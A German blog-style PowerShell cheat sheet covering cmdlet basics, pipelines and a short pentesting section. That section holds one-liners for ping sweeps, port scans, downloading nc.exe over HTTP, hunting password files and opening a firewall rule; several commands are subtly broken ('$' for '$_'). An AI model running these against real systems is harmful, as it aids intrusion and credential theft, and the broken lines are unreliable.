Dein PowerShell Spickzettel für den Alltag – kompaktes Wissen für schnelle Ergebnisse
PowerShell ist aus der modernen IT‑Welt nicht mehr wegzudenken. Sie ersetzt alte Tools wie cmd.exe oder cscript und bietet dir eine leistungsstarke Automatisierungsumgebung. Gleichzeitig arbeitet PowerShell objektbasiert und ist dadurch flexibler als klassische Shells. Dieser PowerShell Spickzettel zeigt dir leicht verständlich, wie du grundlegende Befehle nutzt und typische Aufgaben elegant löst.
Funfact: PowerShell war früher ein optionaler Download – heute ist sie in jedem modernen Windows‑System fest integriert.
PowerShell Grundlagen
PowerShell starten
- Starte das Startmenü, tippe „powershell“ und drücke Enter.
- Für Administratorrechte drücke Shift + STRG + Enter.
- Du kannst PowerShell auch aus einer cmd.exe heraus starten mit: powershell -c “BEFEHL”
Wie PowerShell-Befehle aufgebaut sind
PowerShell arbeitet mit einer klaren Verb‑Substantiv‑Struktur, z. B. „Get-Process“, „New-Item“ oder „Set-Service“.
Wichtige Verben:
New‑ erstellt Ressourcen.
Set‑ ändert vorhandene Objekte.
Get‑ liest vorhandene Informationen aus.
Start‑ startet Prozesse oder Aktionen.
Invoke‑ führt Aktionen synchron aus.
Find‑ sucht nach Objekten.
Search‑ erstellt Referenzen zu Ressourcen.
Objekte und Pipeline verstehen
PowerShell gibt fast immer Objekte zurück. Diese kannst du mit dem Pipeline‑Symbol „|“ an andere Befehle weitergeben und weiterverarbeiten.
Nützliche Cmdlets im Alltag
Get-ChildItem
Copy-Item src.txt dst.txt
Move-Item src.txt dst.txt
Select-String -Path C:\Users*.txt -Pattern password
Get-Content file.txt
Get-Location
Get-Process
Get-Service
ls | Format-List -Property Name
ls -r | Out-Host -Paging
Get-FileHash -Algorithm SHA1 file.txt
Get-Process | Export-Csv prozesse.csv
PowerShell für Security & Pentesting (rechtlich sauber, nur für eigene Systeme!)
Ping‑Scan:
1..255 | % { echo “192.168.210.$“; ping -n 1 -w 100 192.168.210.$ | Select-String ttl }
Portscan:
1..1024 | % { echo ((New-Object Net.Sockets.TcpClient).Connect(“192.168.210.10”,$)) “Port $ is open!” } 2>$null
Datei über HTTP laden:
(New-Object System.Net.WebClient).DownloadFile(“http://192.168.210.10/nc.exe”,”nc.exe”)
Dateien finden:
Get-ChildItem “C:\Users” -Recurse -Include Passwörter.txt
Hotfixes anzeigen:
Get-HotFix
Registry öffnen:
cd HKLM:\
Autostart anzeigen:
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
String in Base64 konvertieren:
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(“ITNEXTGEN”))
Firewall:
Get-NetFirewallRule -All
New-NetFirewallRule -Action Allow -DisplayName TESTPROGRAM -RemoteAddress 192.168.210.10
Cmdlets finden
Alle Cmdlets:
Get-Command
Nach Verb filtern:
Get-Command -Verb Set
Nach Substantiv filtern:
Get-Command -Noun Process
Hilfe & Dokumentation
Get-Help
Get-Help
Get-Help -Examples
Get-Help -Full
Get-Help -Online
Effizient arbeiten: Aliase, Tab, Pipeline
Auto‑Vervollständigung per Tab
Parameterkürzung wie ls -r
Pipeline-Beispiel: Get-Process | Format-List -Property Name
ForEach‑Object: ls *.txt | ForEach-Object { Get-Content $_ }
Where‑Object: Get-Process | Where-Object { $_.Name -eq “notepad” }
Schleifen:
1..10 | % { echo “Hallo!” }
Variablen:
$ING = 2022
ls variable:
Pipeline-Aufgaben:
dir | group extension | sort
Get-Service dhcp | Stop-Service -PassThru | Set-Service -StartupType Disabled
Fazit / Was du tun solltest
Dieser PowerShell Spickzettel macht dir den Einstieg leichter und hilft dir, typische Aufgaben schneller zu erledigen. Je besser du Cmdlets, Pipeline und Objektverarbeitung verstehst, desto effektiver automatisierst du deinen Windows‑Alltag.
Mehr zu Powershell gibt es hier!


